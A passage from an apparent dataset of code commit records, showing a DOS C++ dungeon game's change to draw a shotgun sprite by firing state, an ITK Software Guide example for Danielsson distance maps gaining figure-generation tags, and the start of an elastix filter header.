shutdown();\n}\n<commit_msg>Paint the gun of the 3D image, depending on the state of the shooting sequence<commit_after>#include <stdio.h>\n#include <stdlib.h>\n\n#include <osmesa.h>\n#include <conio.h> \/\/ For kbhit, getch, textmode (console access)\n#include <dpmi.h> \/\/ For __dpmi_int (mouse access)\n#include <go32.h> \/\/ For _dos_ds (VRAM access)\n#include <sys\/movedata.h> \/\/ For movedata (VRAM access)\n#include <cstdlib>\n#include <cstdio>\n#include <cmath>\n#include <algorithm>\n#include <GL\/glu.h> \/\/ GLU = OpenGL utility library\n\n\n#include <glm\/glm.hpp>\n#include <glm\/gtc\/type_ptr.hpp>\n#include <glm\/gtc\/matrix_transform.hpp>\n\n#include <cstdio>\n#include <assert.h>\n#include <math.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <vector>\n#include <string.h>\n#include <memory>\n#include <iostream>\n#include <map>\n#include <array>\n#include <iostream>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <GL\/gl.h>\n#include <GL\/glu.h>\n#include <pc.h>\n#include \"NativeBitmap.h\"\n\n#include \"SoundClip.h\"\n#include \"SoundUtils.h\"\n#include \"SoundListener.h\"\n#include \"SoundEmitter.h\"\n\n#include \"IFileLoaderDelegate.h\"\n\n#include \"Vec2i.h\"\n#include \"NativeBitmap.h\"\n#include \"IMapElement.h\"\n#include \"CTeam.h\"\n#include \"CActor.h\"\n#include \"CGameDelegate.h\"\n#include \"CMap.h\"\n#include \"IRenderer.h\"\n\n#include \"NoudarDungeonSnapshot.h\"\n\n#include \"GameNativeAPI.h\"\n#include \"WindowOperations.h\"\n#include \"Common.h\"\n#include \"LoadPNG.h\"\n\nbool inGraphics = true;\n\nstd::vector<std::shared_ptr<odb::NativeBitmap>> gunStates;\nstd::vector<std::shared_ptr<odb::NativeBitmap>>::iterator gunState;\nnamespace PC {\n\tconst unsigned W = 320, H = 200;\n\n\tunsigned ImageBuffer[W * H];\n\tint selector;\n\n\tvoid Init() {\n\t\t__dpmi_regs r;\n\n\t\tr.x.ax = 0x13;\n\t\t__dpmi_int(0x10, &r);\n\n\n\t\toutp(0x03c8, 0);\n\n\n\t\tfor ( int r = 0; r < 4; ++r ) {\n\t\t\tfor ( int g = 0; g < 4; ++g ) {\n\t\t\t\tfor ( int b = 0; b < 4; ++b ) {\n\t\t\t\t\toutp(0x03c9, (r * 85));\n\t\t\t\t\toutp(0x03c9, (g * 85));\n\t\t\t\t\toutp(0x03c9, (b * 85));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid renderPalette() {\n\t\t_farsetsel(_dos_ds);\n\t\tint offset = 0;\n\t\tint fullSize = 320 * 200;\n\n\t\tfor (int r = 0; r < 255; ++r) {\n\t\t\tfor (int x = 0; x < 50; ++x) {\n\t\t\t\tint shade = 0;\n\n\t\t\t\tint origin = r << 16;\n\t\t\t\tshade += (((((origin & 0x0000FF))) \/ 85));\n\t\t\t\tshade += (((((origin & 0x00FF00) >> 8)) \/ 85)) << 2;\n\t\t\t\tshade += (((((origin & 0xFF0000) >> 16)) \/ 85)) << 4;\n\n\t\t\t\t_farnspokeb(0xA0000 + (320 * x) + r, shade);\n\t\t\t}\n\t\t}\n\n\t\tfor (int g = 0; g < 255; ++g) {\n\t\t\tfor (int x = 50; x < 100; ++x) {\n\t\t\t\tint shade = 0;\n\n\t\t\t\tint origin = g << 8;\n\t\t\t\tshade += (((((origin & 0x0000FF))) \/ 85));\n\t\t\t\tshade += (((((origin & 0x00FF00) >> 8)) \/ 85)) << 2;\n\t\t\t\tshade += (((((origin & 0xFF0000) >> 16)) \/ 85)) << 4;\n\n\t\t\t\t_farnspokeb(0xA0000 + (320 * x) + g, shade);\n\t\t\t}\n\t\t}\n\n\t\tfor (int b = 0; b < 255; ++b) {\n\t\t\tfor (int x = 100; x < 150; ++x) {\n\t\t\t\tint shade = 0;\n\n\t\t\t\tint origin = b;\n\t\t\t\tshade += (((((origin & 0x0000FF))) \/ 85));\n\t\t\t\tshade += (((((origin & 0x00FF00) >> 8)) \/ 85)) << 2;\n\t\t\t\tshade += (((((origin & 0xFF0000) >> 16)) \/ 85)) << 4;\n\n\t\t\t\t_farnspokeb(0xA0000 + (320 * x) + b, shade);\n\t\t\t}\n\t\t}\n\n\t\tfor (int b = 0; b < 255; ++b) {\n\t\t\tfor (int x = 150; x < 200; ++x) {\n\t\t\t\t_farnspokeb(0xA0000 + (320 * x) + b, b);\n\t\t\t}\n\t\t}\n\n\t\tstd::fill(std::end(ImageBuffer) - (320 * 200), std::end(ImageBuffer), 0x0);\n\n\t}\n\n\tvoid Render() {\n\t\t_farsetsel(_dos_ds);\n\t\tauto pixelData = (*gunState)->getPixelData();\n\t\tint offset = 0;\n\t\tint fullSize = 320 * 200;\n\n\t\tfor (int y = 100; y < 200; ++y) {\n\t\t\tfor (int x = 80; x < 240; ++x) {\n\n\t\t\t\toffset = (320 * y) + x;\n\t\t\t\tauto origin = ImageBuffer[offset];\n\t\t\t\toffset = (320 * (200 - (2 * (y - 100)))) + (((x - 80) * 320) \/ 160);\n\n\t\t\t\tif (pixelData[offset] & 0xFF000000) {\n\t\t\t\t\torigin = pixelData[offset];\n\t\t\t\t}\n\n\t\t\t\tint shade = 0;\n\t\t\t\tshade += (((((origin & 0x0000FF) ) ) \/ 85 ) );\n\t\t\t\tshade += (((((origin & 0x00FF00) >> 8 ) ) \/ 85 ) ) << 2;\n\t\t\t\tshade += (((((origin & 0xFF0000) >> 16) ) \/ 85 ) ) << 4;\n\n\n\t\t\t\t_farnspokeb( 0xA0000 + 160 + ((200 - (2 * ((y - 100)))) * 320) + ((2 * x)) + 1, shade);\n\t\t\t\t_farnspokeb( 0xA0000 + 160 + ((199 - (2 * ((y - 100)))) * 320) + ((2 * x)), shade);\n\t\t\t\t_farnspokeb( 0xA0000 + 160 + ((200 - (2 * ((y - 100)))) * 320) + ((2 * x)), shade);\n\t\t\t\t_farnspokeb( 0xA0000 + 160 + ((199 - (2 * ((y - 100)))) * 320) + ((2 * x)) + 1, shade);\n\t\t\t}\n\t\t}\n\n\t\tstd::fill(std::end(ImageBuffer) - (320 * 100), std::end(ImageBuffer), 0x0);\n\t}\n\n\tvoid Close() \/\/ End graphics\n\t{\n\t\ttextmode(C80); \/\/ Set textmode again.\n\t}\n}\n\nvoid setGraphics() {\n inGraphics = true;\n PC::Init();\n}\n\nvoid setTextMode() {\n inGraphics = false;\n\n __dpmi_regs r;\n\n r.x.ax = 3;\n __dpmi_int(0x10, &r);\n}\n\nconst int winWidth = 320, winHeight = 200;\nbool done = false;\nbool isActive = false;\n\nstd::vector <std::shared_ptr<odb::NativeBitmap>> loadTextures() {\n std::vector<std::shared_ptr<odb::NativeBitmap>> toReturn;\n\n toReturn.push_back( loadPNG( \"res\/grass.ppm\") );\n toReturn.push_back( loadPNG( \"res\/stonef1.ppm\") );\n toReturn.push_back( loadPNG( \"res\/bricks.ppm\") );\n toReturn.push_back( loadPNG( \"res\/arch.ppm\") );\n toReturn.push_back( loadPNG( \"res\/bars.ppm\") );\n toReturn.push_back( loadPNG( \"res\/begin.ppm\") );\n toReturn.push_back( loadPNG( \"res\/exit.ppm\") );\n toReturn.push_back( loadPNG( \"res\/bricks2.ppm\") );\n toReturn.push_back( loadPNG( \"res\/bricks3.ppm\") );\n toReturn.push_back( loadPNG( \"res\/foe0.ppm\") );\n toReturn.push_back( loadPNG( \"res\/foe1.ppm\") );\n toReturn.push_back( loadPNG( \"res\/foe2.ppm\") );\n toReturn.push_back( loadPNG( \"res\/foe3.ppm\") );\n toReturn.push_back( loadPNG( \"res\/foe4.ppm\") );\n toReturn.push_back( loadPNG( \"res\/foe5.ppm\") );\n toReturn.push_back( loadPNG( \"res\/crusad0.ppm\") );\n toReturn.push_back( loadPNG( \"res\/crusad1.ppm\") );\n toReturn.push_back( loadPNG( \"res\/crusad2.ppm\") );\n toReturn.push_back( loadPNG( \"res\/shadow.ppm\") );\n toReturn.push_back( loadPNG( \"res\/ceilin.ppm\") );\n toReturn.push_back( loadPNG( \"res\/ceigdr.ppm\") );\n toReturn.push_back( loadPNG( \"res\/ceigbgn.ppm\") );\n toReturn.push_back( loadPNG( \"res\/ceilend.ppm\") );\n toReturn.push_back( loadPNG( \"res\/splat0.ppm\") );\n toReturn.push_back( loadPNG( \"res\/splat1.ppm\") );\n toReturn.push_back( loadPNG( \"res\/splat2.ppm\") );\n toReturn.push_back( loadPNG( \"res\/ceilbar.ppm\") );\n toReturn.push_back( loadPNG( \"res\/clouds.ppm\"));\n toReturn.push_back( loadPNG( \"res\/stngrsf.ppm\"));\n toReturn.push_back( loadPNG( \"res\/grsstnf.ppm\"));\n toReturn.push_back( loadPNG( \"res\/stngrsn.ppm\"));\n toReturn.push_back( loadPNG( \"res\/grsstnn.ppm\"));\n toReturn.push_back( loadPNG( \"res\/cross.ppm\"));\n\n\n return toReturn;\n}\n\nvoid initWindow() {\n\n auto textures = loadTextures();\n gunStates.push_back( loadPNG( \"res\/shotgun0.ppm\", 320, 200) );\n gunStates.push_back( loadPNG( \"res\/shotgun1.ppm\", 320, 200) );\n gunState = std::begin( gunStates );\n\n OSMesaContext om = OSMesaCreateContext(OSMESA_RGBA, NULL);\n OSMesaMakeCurrent(om, PC::ImageBuffer, GL_UNSIGNED_BYTE, PC::W, PC::H);\n \n PC::Init();\n\n \n auto gVertexShader = \"\";\n auto gFragmentShader = \"\";\n\n setupGraphics(winWidth, winHeight, gVertexShader, gFragmentShader, textures);\n \n auto soundListener = std::make_shared<odb::SoundListener>();\n \n std::vector<std::shared_ptr<odb::SoundEmitter>> sounds;\n \n std::string filenames[] {\n \"res\/grasssteps.wav\",\n \"res\/stepsstones.wav\",\n \"res\/bgnoise.wav\",\n \"res\/monsterdamage.wav\",\n \"res\/monsterdead.wav\",\n \"res\/playerdamage.wav\",\n \"res\/playerdead.wav\",\n \"res\/swing.wav\"\n };\n \n for ( auto filename : filenames ) {\n FILE *file = fopen( filename.c_str(), \"r\");\n auto soundClip = odb::makeSoundClipFrom( file );\n \n sounds.push_back( std::make_shared<odb::SoundEmitter>(soundClip) );\n }\n \n setSoundEmitters( sounds, soundListener );\n}\n\nvoid tick() {\n \/\/if I want at least 10fps, I need my rendering and updates to take no more than 100ms, combined\n if ( inGraphics ) {\n gameLoopTick( 250 );\n renderFrame( 250 );\n PC::Render();\n\n if ( gunState != std::begin( gunStates ) ) {\n gunState = std::prev( gunState );\n }\n\n }\n}\n\n\n\nvoid setMainLoop() {\n while ( !done ) {\n while(kbhit())\n switch(getch()) {\n case 27: done = true; break;\n case '1':\n\tsetGraphics();\n\tbreak;\n case '2':\n\tsetTextMode();\n\tbreak;\n case 'w': \n\tmoveUp(); \n\tbreak;\n case 's':\n\tmoveDown(); \n\tbreak;\n case 'd':\n\tmoveRight();\n\tbreak;\n case 'a':\n\tmoveLeft(); \n\tbreak;\n case 'h':\n\tinteract(); \n\tgunState = std::prev(std::end(gunStates));\n\tbreak;\n case 'e':\n\trotateCameraRight();\n\tbreak; \n case 'q':\n\trotateCameraLeft();\n\tbreak;\n }\n tick();\n }\n}\n\nvoid destroyWindow() {\n shutdown();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: DanielssonDistanceMapImageFilter.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) Insight Software Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\/\/ Software Guide : BeginLatex\n\/\/\n\/\/ This example illustrates the use of the\n\/\/ \\doxygen{DanielssonDistanceMapImageFilter}. This filter generates a\n\/\/ distance map from the input image using the algorithm developed by\n\/\/ Danielsson \\cite{Danielsson1980}. As secondary outputs, a Voronoi\n\/\/ partition of the input elements is produced, as well as a vector image\n\/\/ with the components of the distance vector to the closest point. The input\n\/\/ to the map is assumed to be a set of points on the input image. Each\n\/\/ point\/pixel is considered to be a separate entity even if they share the\n\/\/ same graylevel value.\n\/\/\n\/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!Instantiation}\n\/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!Header}\n\/\/\n\/\/ The first step required to use this filter is to include its header file. \n\/\/\n\/\/ Software Guide : EndLatex \n\n\/\/ Software Guide : BeginCodeSnippet\n#include \"itkDanielssonDistanceMapImageFilter.h\"\n\/\/ Software Guide : EndCodeSnippet\n\n#include \"itkImage.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkImageFileWriter.h\"\n#include \"itkRescaleIntensityImageFilter.h\"\n\n\nint main( int argc, char * argv[] )\n{\n if( argc < 5 )\n {\n std::cerr << \"Usage: \" << argv[0];\n std::cerr << \" inputImageFile outputDistanceMapImageFile \";\n std::cerr << \" outputVoronoiMapImageFilter \";\n std::cerr << \" outputVectorMapImageFilter \";\n std::cerr << std::endl; \n return 1;\n }\n \n \/\/ Software Guide : BeginLatex\n \/\/\n \/\/ Then we must decide what pixel types to use for the input and output\n \/\/ images. Since the output will contain distances measured in pixels, the\n \/\/ pixel type should be able to represent at least the width of the image,\n \/\/ or said in $N-D$ terms, the maximum extension along all the dimensions.\n \/\/ The input and output image types are now defined using their respective\n \/\/ pixel type and dimension.\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n typedef unsigned char InputPixelType;\n typedef unsigned short OutputPixelType;\n typedef itk::Image< InputPixelType, 2 > InputImageType;\n typedef itk::Image< OutputPixelType, 2 > OutputImageType;\n \/\/ Software Guide : EndCodeSnippet\n\n\n \/\/ Software Guide : BeginLatex\n \/\/\n \/\/ The filter type can be instantiated using the input and output image\n \/\/ types defined above. A filter object is created with the \\code{New()}\n \/\/ method.\n \/\/\n \/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!instantiation}\n \/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!New()}\n \/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!Pointer}\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n typedef itk::DanielssonDistanceMapImageFilter<\n InputImageType, OutputImageType > FilterType;\n FilterType::Pointer filter = FilterType::New();\n \/\/ Software Guide : EndCodeSnippet\n\n\n typedef itk::RescaleIntensityImageFilter< \n OutputImageType, OutputImageType > RescalerType;\n RescalerType::Pointer scaler = RescalerType::New();\n\n \/\/\n \/\/ Reader and Writer types are instantiated.\n \/\/\n typedef itk::ImageFileReader< InputImageType > ReaderType;\n typedef itk::ImageFileWriter< OutputImageType > WriterType;\n\n ReaderType::Pointer reader = ReaderType::New();\n WriterType::Pointer writer = WriterType::New();\n\n reader->SetFileName( argv[1] );\n writer->SetFileName( argv[2] );\n\n\n \/\/ Software Guide : BeginLatex\n \/\/\n \/\/ The input to the filter is taken from a reader and its output is passed\n \/\/ to a \\doxygen{RescaleIntensityImageFilter} and then to a writer.\n \/\/\n \/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!SetInput()}\n \/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!GetOutput()}\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n filter->SetInput( reader->GetOutput() );\n scaler->SetInput( filter->GetOutput() );\n writer->SetInput( scaler->GetOutput() );\n \/\/ Software Guide : EndCodeSnippet\n\n\n scaler->SetOutputMaximum( 65535L );\n scaler->SetOutputMinimum( 0L );\n\n\n \/\/ Software Guide : BeginLatex\n \/\/\n \/\/ The type of input image has to be specified. In this case, a binary\n \/\/ image is selected.\n \/\/\n \/\/ \\index{itk::Danielsson\\-Distance\\-MapImage\\-Filter!InputIsBinaryOn()}\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n filter->InputIsBinaryOn();\n \/\/ Software Guide : EndCodeSnippet\n\n\n \/\/ Software Guide : BeginLatex\n \/\/ \n \/\/ \\begin{figure}\n \/\/ \\center\n \/\/ \\includegraphics[width=0.32\\textwidth]{FivePoints.eps}\n \/\/ \\includegraphics[width=0.32\\textwidth]{DanielssonDistanceMapImageFilterOutput1.eps}\n \/\/ \\includegraphics[width=0.32\\textwidth]{DanielssonDistanceMapImageFilterOutput2.eps}\n \/\/ \\itkcaption[DanielssonDistanceMapImageFilter\n \/\/ output]{DanielssonDistanceMapImageFilter output. Set of pixels, distance\n \/\/ map and Voronoi partition.}\n \/\/ \\label{fig:DanielssonDistanceMapImageFilterInputOutput}\n \/\/ \\end{figure}\n \/\/\n \/\/ Figure \\ref{fig:DanielssonDistanceMapImageFilterInputOutput} illustrates\n \/\/ the effect of this filter on a binary image with a set of points. The\n \/\/ input image is shown at left, the distance map at the center and the\n \/\/ Voronoi partition at right. This filter computes distance maps in\n \/\/ N-dimensions and is therefore capable of producing $N-D$ Voronoi\n \/\/ partitions.\n \/\/\n \/\/ \\index{Voronoi partitions}\n \/\/ \\index{Voronoi partitions!itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter}\n \/\/\n \/\/ Software Guide : EndLatex \n\n\n writer->Update();\n const char * voronoiMapFileName = argv[3];\n\n\n \/\/ Software Guide : BeginLatex\n \/\/\n \/\/ The Voronoi map is obtained with the \\code{GetVoronoiMap()} method. In\n \/\/ the lines below we connect this output to the intensity rescaler and\n \/\/ save the result in a file.\n \/\/\n \/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!GetVoronoiMap()}\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n scaler->SetInput( filter->GetVoronoiMap() );\n writer->SetFileName( voronoiMapFileName );\n writer->Update();\n \/\/ Software Guide : EndCodeSnippet\n\n\n \/\/ Software Guide : BeginLatex\n \/\/ \n \/\/ The distance filter also produces an image of \\doxygen{Offset} pixels\n \/\/ representing the vectorial distance to the closest object in the scene.\n \/\/ The type of this output image is defined by the VectorImageType\n \/\/ trait of the filter type.\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n typedef FilterType::VectorImageType OffsetImageType;\n \/\/ Software Guide : EndCodeSnippet\n\n\n \/\/ Software Guide : BeginLatex\n \/\/ \n \/\/ We can use this type for instantiating an \\doxygen{ImageFileWriter} type\n \/\/ and creating an object of this class in the following lines.\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n typedef itk::ImageFileWriter< OffsetImageType > WriterOffsetType;\n WriterOffsetType::Pointer offsetWriter = WriterOffsetType::New();\n \/\/ Software Guide : EndCodeSnippet\n\n\n \/\/ Software Guide : BeginLatex\n \/\/ \n \/\/ The output of the distance filter can be connected as input to the\n \/\/ writer.\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n offsetWriter->SetInput( filter->GetVectorDistanceMap() );\n \/\/ Software Guide : EndCodeSnippet\n\n\n offsetWriter->SetFileName( argv[4] );\n\n\n \/\/ Software Guide : BeginLatex\n \/\/ \n \/\/ Execution of the writer is triggered by the invocation of the\n \/\/ \\code{Update()} method. Since this method can potentially throw\n \/\/ exceptions it must be placed in a \\code{try\/catch} block.\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n try\n {\n offsetWriter->Update();\n }\n catch( itk::ExceptionObject exp )\n {\n std::cerr << \"Exception caught !\" << std::endl;\n std::cerr << exp << std::endl;\n }\n \/\/ Software Guide : EndCodeSnippet\n\n\n \/\/ Software Guide : BeginLatex\n \/\/ \n \/\/ Note that only the \\doxygen{MetaImageIO} class supports reading and\n \/\/ writing images of pixel type \\doxygen{Offset}.\n \/\/\n \/\/ Software Guide : EndLatex \n\n return 0;\n}\n\n<commit_msg>ENH: Command line tags for automatic generation of figures in Software guide<commit_after>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: DanielssonDistanceMapImageFilter.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) Insight Software Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\/\/ Software Guide : BeginCommandLineArgs\n\/\/ INPUTS: {FivePoints.png}\n\/\/ OUTPUTS: {DanielssonDistanceMapImageFilterOutput1.png}\n\/\/ OUTPUTS: {DanielssonDistanceMapImageFilterOutput2.png}\n\/\/ OUTPUTS: {DanielssonDistanceMapImageFilterOutput3.mhd}\n\/\/ Software Guide : EndCommandLineArgs\n\n\/\/ Software Guide : BeginLatex\n\/\/\n\/\/ This example illustrates the use of the\n\/\/ \\doxygen{DanielssonDistanceMapImageFilter}. This filter generates a\n\/\/ distance map from the input image using the algorithm developed by\n\/\/ Danielsson \\cite{Danielsson1980}. As secondary outputs, a Voronoi\n\/\/ partition of the input elements is produced, as well as a vector image\n\/\/ with the components of the distance vector to the closest point. The input\n\/\/ to the map is assumed to be a set of points on the input image. Each\n\/\/ point\/pixel is considered to be a separate entity even if they share the\n\/\/ same graylevel value.\n\/\/\n\/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!Instantiation}\n\/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!Header}\n\/\/\n\/\/ The first step required to use this filter is to include its header file. \n\/\/\n\/\/ Software Guide : EndLatex \n\n\/\/ Software Guide : BeginCodeSnippet\n#include \"itkDanielssonDistanceMapImageFilter.h\"\n\/\/ Software Guide : EndCodeSnippet\n\n#include \"itkImage.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkImageFileWriter.h\"\n#include \"itkRescaleIntensityImageFilter.h\"\n\n\nint main( int argc, char * argv[] )\n{\n if( argc < 5 )\n {\n std::cerr << \"Usage: \" << argv[0];\n std::cerr << \" inputImageFile outputDistanceMapImageFile \";\n std::cerr << \" outputVoronoiMapImageFilter \";\n std::cerr << \" outputVectorMapImageFilter \";\n std::cerr << std::endl; \n return 1;\n }\n \n \/\/ Software Guide : BeginLatex\n \/\/\n \/\/ Then we must decide what pixel types to use for the input and output\n \/\/ images. Since the output will contain distances measured in pixels, the\n \/\/ pixel type should be able to represent at least the width of the image,\n \/\/ or said in $N-D$ terms, the maximum extension along all the dimensions.\n \/\/ The input and output image types are now defined using their respective\n \/\/ pixel type and dimension.\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n typedef unsigned char InputPixelType;\n typedef unsigned short OutputPixelType;\n typedef itk::Image< InputPixelType, 2 > InputImageType;\n typedef itk::Image< OutputPixelType, 2 > OutputImageType;\n \/\/ Software Guide : EndCodeSnippet\n\n\n \/\/ Software Guide : BeginLatex\n \/\/\n \/\/ The filter type can be instantiated using the input and output image\n \/\/ types defined above. A filter object is created with the \\code{New()}\n \/\/ method.\n \/\/\n \/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!instantiation}\n \/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!New()}\n \/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!Pointer}\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n typedef itk::DanielssonDistanceMapImageFilter<\n InputImageType, OutputImageType > FilterType;\n FilterType::Pointer filter = FilterType::New();\n \/\/ Software Guide : EndCodeSnippet\n\n\n typedef itk::RescaleIntensityImageFilter< \n OutputImageType, OutputImageType > RescalerType;\n RescalerType::Pointer scaler = RescalerType::New();\n\n \/\/\n \/\/ Reader and Writer types are instantiated.\n \/\/\n typedef itk::ImageFileReader< InputImageType > ReaderType;\n typedef itk::ImageFileWriter< OutputImageType > WriterType;\n\n ReaderType::Pointer reader = ReaderType::New();\n WriterType::Pointer writer = WriterType::New();\n\n reader->SetFileName( argv[1] );\n writer->SetFileName( argv[2] );\n\n\n \/\/ Software Guide : BeginLatex\n \/\/\n \/\/ The input to the filter is taken from a reader and its output is passed\n \/\/ to a \\doxygen{RescaleIntensityImageFilter} and then to a writer.\n \/\/\n \/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!SetInput()}\n \/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!GetOutput()}\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n filter->SetInput( reader->GetOutput() );\n scaler->SetInput( filter->GetOutput() );\n writer->SetInput( scaler->GetOutput() );\n \/\/ Software Guide : EndCodeSnippet\n\n\n scaler->SetOutputMaximum( 65535L );\n scaler->SetOutputMinimum( 0L );\n\n\n \/\/ Software Guide : BeginLatex\n \/\/\n \/\/ The type of input image has to be specified. In this case, a binary\n \/\/ image is selected.\n \/\/\n \/\/ \\index{itk::Danielsson\\-Distance\\-MapImage\\-Filter!InputIsBinaryOn()}\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n filter->InputIsBinaryOn();\n \/\/ Software Guide : EndCodeSnippet\n\n\n \/\/ Software Guide : BeginLatex\n \/\/ \n \/\/ \\begin{figure}\n \/\/ \\center\n \/\/ \\includegraphics[width=0.32\\textwidth]{FivePoints.eps}\n \/\/ \\includegraphics[width=0.32\\textwidth]{DanielssonDistanceMapImageFilterOutput1.eps}\n \/\/ \\includegraphics[width=0.32\\textwidth]{DanielssonDistanceMapImageFilterOutput2.eps}\n \/\/ \\itkcaption[DanielssonDistanceMapImageFilter\n \/\/ output]{DanielssonDistanceMapImageFilter output. Set of pixels, distance\n \/\/ map and Voronoi partition.}\n \/\/ \\label{fig:DanielssonDistanceMapImageFilterInputOutput}\n \/\/ \\end{figure}\n \/\/\n \/\/ Figure \\ref{fig:DanielssonDistanceMapImageFilterInputOutput} illustrates\n \/\/ the effect of this filter on a binary image with a set of points. The\n \/\/ input image is shown at left, the distance map at the center and the\n \/\/ Voronoi partition at right. This filter computes distance maps in\n \/\/ N-dimensions and is therefore capable of producing $N-D$ Voronoi\n \/\/ partitions.\n \/\/\n \/\/ \\index{Voronoi partitions}\n \/\/ \\index{Voronoi partitions!itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter}\n \/\/\n \/\/ Software Guide : EndLatex \n\n\n writer->Update();\n const char * voronoiMapFileName = argv[3];\n\n\n \/\/ Software Guide : BeginLatex\n \/\/\n \/\/ The Voronoi map is obtained with the \\code{GetVoronoiMap()} method. In\n \/\/ the lines below we connect this output to the intensity rescaler and\n \/\/ save the result in a file.\n \/\/\n \/\/ \\index{itk::Danielsson\\-Distance\\-Map\\-Image\\-Filter!GetVoronoiMap()}\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n scaler->SetInput( filter->GetVoronoiMap() );\n writer->SetFileName( voronoiMapFileName );\n writer->Update();\n \/\/ Software Guide : EndCodeSnippet\n\n\n \/\/ Software Guide : BeginLatex\n \/\/ \n \/\/ The distance filter also produces an image of \\doxygen{Offset} pixels\n \/\/ representing the vectorial distance to the closest object in the scene.\n \/\/ The type of this output image is defined by the VectorImageType\n \/\/ trait of the filter type.\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n typedef FilterType::VectorImageType OffsetImageType;\n \/\/ Software Guide : EndCodeSnippet\n\n\n \/\/ Software Guide : BeginLatex\n \/\/ \n \/\/ We can use this type for instantiating an \\doxygen{ImageFileWriter} type\n \/\/ and creating an object of this class in the following lines.\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n typedef itk::ImageFileWriter< OffsetImageType > WriterOffsetType;\n WriterOffsetType::Pointer offsetWriter = WriterOffsetType::New();\n \/\/ Software Guide : EndCodeSnippet\n\n\n \/\/ Software Guide : BeginLatex\n \/\/ \n \/\/ The output of the distance filter can be connected as input to the\n \/\/ writer.\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n offsetWriter->SetInput( filter->GetVectorDistanceMap() );\n \/\/ Software Guide : EndCodeSnippet\n\n\n offsetWriter->SetFileName( argv[4] );\n\n\n \/\/ Software Guide : BeginLatex\n \/\/ \n \/\/ Execution of the writer is triggered by the invocation of the\n \/\/ \\code{Update()} method. Since this method can potentially throw\n \/\/ exceptions it must be placed in a \\code{try\/catch} block.\n \/\/\n \/\/ Software Guide : EndLatex \n\n \/\/ Software Guide : BeginCodeSnippet\n try\n {\n offsetWriter->Update();\n }\n catch( itk::ExceptionObject exp )\n {\n std::cerr << \"Exception caught !\" << std::endl;\n std::cerr << exp << std::endl;\n }\n \/\/ Software Guide : EndCodeSnippet\n\n\n \/\/ Software Guide : BeginLatex\n \/\/ \n \/\/ Note that only the \\doxygen{MetaImageIO} class supports reading and\n \/\/ writing images of pixel type \\doxygen{Offset}.\n \/\/\n \/\/ Software Guide : EndLatex \n\n return 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#ifndef ElastixFilter_hxx\n#define ElastixFilter_hxx\n\nnamespace selx {\n\ntemplate< typename TFixedImage, typename TMovingImage >\nElastixFilter< TFixedImage, TMovingImage >\n::ElastixFilter( void )\n{\n this->AddRequiredInputName( \"FixedImage\" );\n 